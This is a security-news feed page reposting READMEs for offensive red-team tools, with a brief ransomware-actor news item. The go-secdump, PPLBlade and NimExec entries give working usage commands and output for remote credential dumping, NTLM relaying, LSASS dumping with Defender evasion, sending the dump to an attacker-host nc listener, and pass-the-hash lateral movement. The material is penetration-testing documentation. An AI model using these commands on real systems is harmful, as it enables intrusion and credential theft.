FreshRSS

🔒
❌ Secure Planet Training Courses Updated For 2019 - Click Here
☷
△ 🔃
There are new available articles, click to refresh the page.
Before yesterdayYour RSS feeds

Go-Secdump - Tool To Remotely Dump Secrets From The Windows Registry

By: Zion3R


Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.

The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.

It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.

The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.


Credits

Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.

Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

Usage

Usage: ./go-secdump [options]

options:
      --host <target>       Hostname or ip address of remote server
  -P, --port <port>         SMB Port (default 445)
  -d, --domain <domain>     Domain name to use for login
  -u, --user <username>     Username
  -p, --pass <pass>         Password
  -n, --no-pass             Disable password prompt and send no credentials
      --hash <NT Hash>      Hex encoded NT Hash for user password
      --local               Authenticate as a local user instead of domain user
      --dump                Saves the SAM and SECURITY hives to disk and
                            transfers them to the local machine.
      --sam                 Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                 Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                   Extract DCC2 caches explicitly. Only ohter explicit targets are included.
      --backup-dacl         Save original DACLs to disk before modification
      --restore-dacl        Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file         Filename for DACL backup (default dacl.backup)
      --relay               Start an SMB listener that will relay incoming
                            NTLM authentications to the remote server and
                            use that connection. NOTE that this forces SMB 2.1
                            without encryption.
      --relay-port <port>   Listening port for relay (default 445)
      --socks-host <target> Establish connection via a SOCKS5 proxy server
      --socks-port <port>   SOCKS5 proxy port (default 1080)
  -t, --timeout             Dial timeout in seconds (default 5)
      --noenc               Disable smb encryption
      --smb2                Force smb 2.1
      --debug               Enable debug logging
      --verbose             Enable verbose logging
  -o, --output              Filename for writing results (default is stdout). Will append to file if it exists.
  -v, --version             Show version

Changing DACLs

go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.

Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.

Examples

Dump all registry secrets

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Dump only SAM, LSA, or DCC2 cache secrets

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2

NTLM Relaying

Dump registry secrets using NTLM relaying

Start listener

./go-secdump --host 192.168.0.100 -n --relay

Trigger an auth to your machine from a client with administrative access to 192.168.0.100 somehow and then wait for the dumped secrets.

YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc   38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS Proxy

Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.

When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.

./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080


Sr2T - Converts Scanning Reports To A Tabular Format

By: Zion3R


Scanning reports to tabular (sr2t)

This tool takes a scanning tool's output file, and converts it to a tabular format (CSV, XLSX, or text table). This tool can process output from the following tools:

  1. Nmap (XML);
  2. Nessus (XML);
  3. Nikto (XML);
  4. Dirble (XML);
  5. Testssl (JSON);
  6. Fortify (FPR).

Rationale

This tool can offer a human-readable, tabular format which you can tie to any observations you have drafted in your report. Why? Because then your reviewers can tell that you, the pentester, investigated all found open ports, and looked at all scanning reports.

Dependencies

  1. argparse (dev-python/argparse);
  2. prettytable (dev-python/prettytable);
  3. python (dev-lang/python);
  4. xlsxwriter (dev-python/xlsxwriter).

Install

Using Pip:

pip install --user sr2t

Usage

You can use sr2t in two ways:

  • When installed as package, call the installed script: sr2t --help.
  • When Git cloned, call the package directly from the root of the Git repository: python -m src.sr2t --help 
$ sr2t --help
usage: sr2t [-h] [--nessus NESSUS [NESSUS ...]] [--nmap NMAP [NMAP ...]]
            [--nikto NIKTO [NIKTO ...]] [--dirble DIRBLE [DIRBLE ...]]
            [--testssl TESTSSL [TESTSSL ...]]
            [--fortify FORTIFY [FORTIFY ...]] [--nmap-state NMAP_STATE]
            [--nmap-services] [--no-nessus-autoclassify]
            [--nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE]
            [--nessus-tls-file NESSUS_TLS_FILE]
            [--nessus-x509-file NESSUS_X509_FILE]
            [--nessus-http-file NESSUS_HTTP_FILE]
            [--nessus-smb-file NESSUS_SMB_FILE]
            [--nessus-rdp-file NESSUS_RDP_FILE]
            [--nessus-ssh-file NESSUS_SSH_FILE]
            [--nessus-min-severity NESSUS_MIN_SEVERITY]
            [--nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH]
            [--nessus-sort-by NESSUS_SORT_BY]
            [--nikto-description-width NIKTO_DESCRIPTION_WIDTH]<   br/>            [--fortify-details] [--annotation-width ANNOTATION_WIDTH]
            [-oC OUTPUT_CSV] [-oT OUTPUT_TXT] [-oX OUTPUT_XLSX]
            [-oA OUTPUT_ALL]

Converting scanning reports to a tabular format

optional arguments:
  -h, --help            show this help message and exit
  --nmap-state NMAP_STATE
                        Specify the desired state to filter (e.g.
                        open|filtered).
  --nmap-services       Specify to ouput a supplemental list of detected
                        services.
  --no-nessus-autoclassify
                        Specify to not autoclassify Nessus results.
  --nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE
                        Specify to override a custom Nessus autoclassify YAML
                        file.
  --nessus-tls-file NESSUS_TLS_FILE
                        Specify to override a custom Nessus TLS findings YAML
                           file.
  --nessus-x509-file NESSUS_X509_FILE
                        Specify to override a custom Nessus X.509 findings
                        YAML file.
  --nessus-http-file NESSUS_HTTP_FILE
                        Specify to override a custom Nessus HTTP findings YAML
                        file.
  --nessus-smb-file NESSUS_SMB_FILE
                        Specify to override a custom Nessus SMB findings YAML
                        file.
  --nessus-rdp-file NESSUS_RDP_FILE
                        Specify to override a custom Nessus RDP findings YAML
                        file.
  --nessus-ssh-file NESSUS_SSH_FILE
                        Specify to override a custom Nessus SSH findings YAML
                        file.
  --nessus-min-severity NESSUS_MIN_SEVERITY
                        Specify the minimum severity to output (e.g. 1).
  --nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH
                           Specify the width of the pluginid column (e.g. 30).
  --nessus-sort-by NESSUS_SORT_BY
                        Specify to sort output by ip-address, port, plugin-id,
                        plugin-name or severity.
  --nikto-description-width NIKTO_DESCRIPTION_WIDTH
                        Specify the width of the description column (e.g. 30).
  --fortify-details     Specify to include the Fortify abstracts, explanations
                        and recommendations for each vulnerability.
  --annotation-width ANNOTATION_WIDTH
                        Specify the width of the annotation column (e.g. 30).
  -oC OUTPUT_CSV, --output-csv OUTPUT_CSV
                        Specify the output CSV basename (e.g. output).
  -oT OUTPUT_TXT, --output-txt OUTPUT_TXT
                        Specify the output TXT file (e.g. output.txt).
  -oX OUTPUT_XLSX, --output-xlsx OUTPUT_XLSX
                        Specify the outpu   t XLSX file (e.g. output.xlsx). Only
                        for Nessus at the moment
  -oA OUTPUT_ALL, --output-all OUTPUT_ALL
                        Specify the output basename to output to all formats
                        (e.g. output).

specify at least one:
  --nessus NESSUS [NESSUS ...]
                        Specify (multiple) Nessus XML files.
  --nmap NMAP [NMAP ...]
                        Specify (multiple) Nmap XML files.
  --nikto NIKTO [NIKTO ...]
                        Specify (multiple) Nikto XML files.
  --dirble DIRBLE [DIRBLE ...]
                        Specify (multiple) Dirble XML files.
  --testssl TESTSSL [TESTSSL ...]
                        Specify (multiple) Testssl JSON files.
  --fortify FORTIFY [FORTIFY ...]
                        Specify (multiple) HP Fortify FPR files.

Example

A few examples

Nessus

To produce an XLSX format:

$ sr2t --nessus example/nessus.nessus --no-nessus-autoclassify -oX example.xlsx

To produce an text tabular format to stdout:

$ sr2t --nessus example/nessus.nessus
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
|       host    |  port | plugin id |                                 plugin name                                 | severity | annotations |
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
| 192.168.142.4 | 3389  |   42873   | SSL Medium Strength Cipher Suites Supported (SWEET32)                       |    2     |      X      |
| 192.168.142.4 | 443   |   42873   | SSL Medium Strength Cipher Suites Supported (SWEET32)                       |    2     |      X      |
| 192.168.142.4 | 3389  |   18405   | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness |    2     |      X      |
| 192.168.142.4 | 3389  |   30218   | Terminal Services Encryption Level is    not FIPS-140 Compliant                |    1     |      X      |
| 192.168.142.4 | 3389  |   57690   | Terminal Services Encryption Level is Medium or Low                         |    2     |      X      |
| 192.168.142.4 | 3389  |   58453   | Terminal Services Doesn't Use Network Level Authentication (NLA) Only       |    2     |      X      |
| 192.168.142.4 | 3389  |   45411   | SSL Certificate with Wrong Hostname                                         |    2     |      X      |
| 192.168.142.4 | 443   |   45411   | SSL Certificate with Wrong Hostname                                         |    2     |      X      |
| 192.168.142.4 | 3389  |   35291   | SSL Certificate Signed Using Weak Hashing Algorithm                         |    2     |      X      |
| 192.168.142.4 | 3389  |   57582   | SSL Self-Signed Certificate                                                 |    2     |      X      |
| 192.168.142.4 | 3389  |   51192   | SSL Certificate Can   not Be Trusted                                           |    2     |      X      |
| 192.168.142.2 | 3389  |   42873   | SSL Medium Strength Cipher Suites Supported (SWEET32)                       |    2     |      X      |
| 192.168.142.2 | 443   |   42873   | SSL Medium Strength Cipher Suites Supported (SWEET32)                       |    2     |      X      |
| 192.168.142.2 | 3389  |   18405   | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness |    2     |      X      |
| 192.168.142.2 | 3389  |   30218   | Terminal Services Encryption Level is not FIPS-140 Compliant                |    1     |      X      |
| 192.168.142.2 | 3389  |   57690   | Terminal Services Encryption Level is Medium or Low                         |    2     |      X      |
| 192.168.142.2 | 3389  |   58453   | Terminal Services Doesn't Use Network Level Authentication (NLA) Only       |    2     |      X      |
| 192.168.142.2 | 3389  |   45411   | S   SL Certificate with Wrong Hostname                                         |    2     |      X      |
| 192.168.142.2 | 443   |   45411   | SSL Certificate with Wrong Hostname                                         |    2     |      X      |
| 192.168.142.2 | 3389  |   35291   | SSL Certificate Signed Using Weak Hashing Algorithm                         |    2     |      X      |
| 192.168.142.2 | 3389  |   57582   | SSL Self-Signed Certificate                                                 |    2     |      X      |
| 192.168.142.2 | 3389  |   51192   | SSL Certificate Cannot Be Trusted                                           |    2     |      X      |
| 192.168.142.2 | 445   |   57608   | SMB Signing not required                                                    |    2     |      X      |
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+

Or to output a CSV file:

$ sr2t --nessus example/nessus.nessus -oC example
$ cat example_nessus.csv
host,port,plugin id,plugin name,severity,annotations
192.168.142.4,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.4,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.4,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
192.168.142.4,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
192.168.142.4,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
192.168.142.4,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
192.168.142.4,3389,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.4,443,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.4,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
192.168.142.4,3389,57582,SSL Self-Signed Certificate,2,X
   192.168.142.4,3389,51192,SSL Certificate Cannot Be Trusted,2,X
192.168.142.2,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.2,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.2,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
192.168.142.2,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
192.168.142.2,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
192.168.142.2,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
192.168.142.2,3389,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.2,443,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.2,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
192.168.142.2,3389,57582,SSL Self-Signed Certificate,2,X
192.168.142.2,3389,51192,SSL Certificate Cannot Be Trusted,2,X
192.168.142.2,44   5,57608,SMB Signing not required,2,X

Nmap

To produce an XLSX format:

$ sr2t --nmap example/nmap.xml -oX example.xlsx

To produce an text tabular format to stdout:

$ sr2t --nmap example/nmap.xml --nmap-services
Nmap TCP:
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
|                 | 53 | 80 | 88 | 135 | 139 | 389 | 445 | 3389 | 5800 | 5900 |
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
| 192.168.23.78   | X  |    | X  |  X  |  X  |  X  |  X  |  X   |      |      |
| 192.168.27.243  |    |    |    |  X  |  X  |     |  X  |  X   |  X   |  X   |
| 192.168.99.164  |    |    |    |  X  |  X  |     |  X  |  X   |  X   |  X   |
| 192.168.228.211 |    | X  |    |     |     |     |     |      |      |      |
| 192.168.171.74  |    |    |    |  X  |  X  |     |  X  |  X   |  X   |  X   |
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+

Nmap Services:
+-----------------+------+-------+---------------+-------+
| ip address      | port | proto | service       | state |
+---------------   --+------+-------+---------------+-------+
| 192.168.23.78   | 53   | tcp   | domain        | open  |
| 192.168.23.78   | 88   | tcp   | kerberos-sec  | open  |
| 192.168.23.78   | 135  | tcp   | msrpc         | open  |
| 192.168.23.78   | 139  | tcp   | netbios-ssn   | open  |
| 192.168.23.78   | 389  | tcp   | ldap          | open  |
| 192.168.23.78   | 445  | tcp   | microsoft-ds  | open  |
| 192.168.23.78   | 3389 | tcp   | ms-wbt-server | open  |
| 192.168.27.243  | 135  | tcp   | msrpc         | open  |
| 192.168.27.243  | 139  | tcp   | netbios-ssn   | open  |
| 192.168.27.243  | 445  | tcp   | microsoft-ds  | open  |
| 192.168.27.243  | 3389 | tcp   | ms-wbt-server | open  |
| 192.168.27.243  | 5800 | tcp   | vnc-http      | open  |
| 192.168.27.243  | 5900 | tcp   | vnc           | open  |
| 192.168.99.164  | 135  | tcp   | msrpc         | open  |
| 192.168.99.164  | 139  | tcp   | netbios-ssn   | open  |
| 192   .168.99.164  | 445  | tcp   | microsoft-ds  | open  |
| 192.168.99.164  | 3389 | tcp   | ms-wbt-server | open  |
| 192.168.99.164  | 5800 | tcp   | vnc-http      | open  |
| 192.168.99.164  | 5900 | tcp   | vnc           | open  |
| 192.168.228.211 | 80   | tcp   | http          | open  |
| 192.168.171.74  | 135  | tcp   | msrpc         | open  |
| 192.168.171.74  | 139  | tcp   | netbios-ssn   | open  |
| 192.168.171.74  | 445  | tcp   | microsoft-ds  | open  |
| 192.168.171.74  | 3389 | tcp   | ms-wbt-server | open  |
| 192.168.171.74  | 5800 | tcp   | vnc-http      | open  |
| 192.168.171.74  | 5900 | tcp   | vnc           | open  |
+-----------------+------+-------+---------------+-------+

Or to output a CSV file:

$ sr2t --nmap example/nmap.xml -oC example
$ cat example_nmap_tcp.csv
ip address,53,80,88,135,139,389,445,3389,5800,5900
192.168.23.78,X,,X,X,X,X,X,X,,
192.168.27.243,,,,X,X,,X,X,X,X
192.168.99.164,,,,X,X,,X,X,X,X
192.168.228.211,,X,,,,,,,,
192.168.171.74,,,,X,X,,X,X,X,X

Nikto

To produce an XLSX format:

$ sr2t --nikto example/nikto.xml -oX example/nikto.xlsx

To produce an text tabular format to stdout:

$ sr2t --nikto example/nikto.xml
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
| target ip      | target hostname | target port | description                                                                      | annotations |
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
| 192.168.178.10 | 192.168.178.10  | 80          | The anti-clickjacking X-Frame-Options header is not present.                     |      X      |
| 192.168.178.10 | 192.168.178.10  | 80          | The X-XSS-Protection header is not defined. This header can hint to the user     |      X      |
|                |                 |             | agent to protect against some forms of XSS                                       |             |
| 192.168.178.10 | 192.168.178.10  | 8   0          | The X-Content-Type-Options header is not set. This could allow the user agent to |      X      |
|                |                 |             | render the content of the site in a different fashion to the MIME type           |             |
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+

Or to output a CSV file:

$ sr2t --nikto example/nikto.xml -oC example
$ cat example_nikto.csv
target ip,target hostname,target port,description,annotations
192.168.178.10,192.168.178.10,80,The anti-clickjacking X-Frame-Options header is not present.,X
192.168.178.10,192.168.178.10,80,"The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS",X
192.168.178.10,192.168.178.10,80,"The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type",X

Dirble

To produce an XLSX format:

$ sr2t --dirble example/dirble.xml -oX example.xlsx

To produce an text tabular format to stdout:

$ sr2t --dirble example/dirble.xml
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
| url                               | code | content len | is directory | is listable | found from listable | redirect url | annotations |
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
| http://example.org/flv            | 0    | 0           | false        | false       | false               |              |      X      |
| http://example.org/hire           | 0    | 0           | false        | false       | false               |              |      X      |
| http://example.org/phpSQLiteAdmin | 0    | 0           | false        | false       | false               |              |      X      |
| http://example.org/print_order    | 0    | 0           | false        | false       | fa   lse               |              |      X      |
| http://example.org/putty          | 0    | 0           | false        | false       | false               |              |      X      |
| http://example.org/receipts       | 0    | 0           | false        | false       | false               |              |      X      |
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+

Or to output a CSV file:

$ sr2t --dirble example/dirble.xml -oC example
$ cat example_dirble.csv
url,code,content len,is directory,is listable,found from listable,redirect url,annotations
http://example.org/flv,0,0,false,false,false,,X
http://example.org/hire,0,0,false,false,false,,X
http://example.org/phpSQLiteAdmin,0,0,false,false,false,,X
http://example.org/print_order,0,0,false,false,false,,X
http://example.org/putty,0,0,false,false,false,,X
http://example.org/receipts,0,0,false,false,false,,X

Testssl

To produce an XLSX format:

$ sr2t --testssl example/testssl.json -oX example.xlsx

To produce an text tabular format to stdout:

$ sr2t --testssl example/testssl.json
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
| ip address                        | port | BREACH | No HSTS | No PFS | No TLSv1.3 | RC4 | TLSv1.0 | TLSv1.1 | Wildcard |
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
| rc4-md5.badssl.com/104.154.89.105 | 443  |   X    |    X    |   X    |     X      |  X  |    X    |    X    |    X     |
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+

Or to output a CSV file:

$ sr2t --testssl example/testssl.json -oC example
$ cat example_testssl.csv
ip address,port,BREACH,No HSTS,No PFS,No TLSv1.3,RC4,TLSv1.0,TLSv1.1,Wildcard
rc4-md5.badssl.com/104.154.89.105,443,X,X,X,X,X,X,X,X

Fortify

To produce an XLSX format:

$ sr2t --fortify example/fortify.fpr -oX example.xlsx

To produce an text tabular format to stdout:

$ sr2t --fortify example/fortify.fpr
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
|                          |          type         |            subtype            | severity | confidence | annotations |
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
| example1/web.xml:135:135 | J2EE Misconfiguration | Insecure Transport            |   3.0    |    5.0     |      X      |
| example2/web.xml:150:150 | J2EE Misconfiguration | Insecure Transport            |   3.0    |    5.0     |      X      |
| example3/web.xml:109:109 | J2EE Misconfiguration | Incomplete Error Handling     |   3.0    |    5.0     |      X      |
| example4/web.xml:108:108 | J2EE Misconfiguration | Incomplete Error Handling     |   3.0    |    5.0     |      X      |
| example5/web.xml:166:166 | J2EE Misconfiguration | Inse   cure Transport            |   3.0    |    5.0     |      X      |
| example6/web.xml:2:2     | J2EE Misconfiguration | Excessive Session Timeout     |   3.0    |    5.0     |      X      |
| example7/web.xml:162:162 | J2EE Misconfiguration | Missing Authentication Method |   3.0    |    5.0     |      X      |
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+

Or to output a CSV file:

$ sr2t --fortify example/fortify.fpr -oC example
$ cat example_fortify.csv
,type,subtype,severity,confidence,annotations
example1/web.xml:135:135,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example2/web.xml:150:150,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example3/web.xml:109:109,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
example4/web.xml:108:108,J2EE Misconfiguration,Incomplete Error Handling,3.0,5.0,X
example5/web.xml:166:166,J2EE Misconfiguration,Insecure Transport,3.0,5.0,X
example6/web.xml:2:2,J2EE Misconfiguration,Excessive Session Timeout,3.0,5.0,X
example7/web.xml:162:162,J2EE Misconfiguration,Missing Authentication Method,3.0,5.0,X

Donate

  • WOW: WW4L3VCX11zWgKPX51TRw2RENe8STkbCkh5wTV4GuQnbZ1fKYmPFobZhEfS1G9G3vwjBhzioi3vx8JgBx2xLxe4N1gtJee8Mp


PPLBlade - Protected Process Dumper Tool

By: Zion3R


Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.

Key functionalities:

  1. Bypassing PPL protection
  2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms
  3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.

It’s already embedded into the PPLBlade.exe. The exploit is just a single executable.

Modes:

  1. Dump - Dump process memory using PID or Process Name
  2. Decrypt - Revert obfuscated(--obfuscate) dump file to its original state
  3. Cleanup - Do cleanup manually, in case something goes wrong on execution (Note that the option values should be the same as for the execution, we're trying to clean up)
  4. DoThatLsassThing - Dump lsass.exe using Process Explorer driver (basic poc)

Handle Modes:

  1. Direct - Opens PROCESS_ALL_ACCESS handle directly, using OpenProcess() function
  2. Procexp - Uses PROCEXP152.sys to obtain a handle
Examples:

Basic POC that uses PROCEXP152.sys to dump lsass:

PPLBlade.exe --mode dothatlsassthing

(Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)

Upload the obfuscated LSASS dump onto a remote location:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

Attacker host:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

Deobfuscate memory dump:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade


NimExec - Fileless Command Execution For Lateral Movement In Nim

By: Zion3R


Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.

NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.

Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.

This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.


Compilation

nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.

Also, you can install the required Nim modules via Nimble with the following command:

nimble install ptr_math nimcrypto hostname

Usage

test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v

                                                                                             _..._     
                                                                                          .-'_..._''.  
   _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '.\ 
 .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            
.   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              
|  '   '  ||  ||  |  |  |  |  |/     /________\   \ ____     _____/     /________\   \| |              
|  |   |  ||  ||  |  |  |  |  ||                  |`.   \  .'    /|                  || |              
|  |   |  ||  ||  |  |  |  |  |\    .---   ----------'  `.  `'    .' \    .-------------'. '              
|  |   |  ||  ||  |  |  |  |  | \    '-.____...---.    '.    .'    \    '-.____...---. \ '.          . 
|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/ 
|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  
|  |   |  |                                        .'   /    `.   `.                               `   
'--'   '--'                                       '----'       '----'                                  

                                            @R0h1rr1m          


[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained    services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!

It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.

Command Line Parameters

    -v | --verbose                          Enable more verbose output.
    -u | --username <Username>              Username for NTLM Authentication.*
    -h | --hash <NTLM Hash>                 NTLM password hash for NTLM Authentication.*
    -t | --target <Target>                  Lateral movement target.*
    -c | --command <Command>                Command to execute.*
    -d | --domain <Domain>                  Domain name for NTLM Authentication.
    -s | --service <Service Name>           Name of the service instead of a random one.
    --help                                  Show the help message.

References



Microsoft Warns as Scattered Spider Expands from SIM Swaps to Ransomware

By: Newsroom
The prolific threat actor known as Scattered Spider has been observed impersonating newly hired employees in targeted firms as a ploy to blend into normal on-hire processes and takeover accounts and breach organizations across the world. Microsoft, which disclosed the activities of the financially motivated hacking crew, described the adversary as "one of the most dangerous financial criminal

CMLoot - Find Interesting Files Stored On (System Center) Configuration Manager (SCCM/CM) SMB Shares

By: noreply@blogger.com (Unknown)


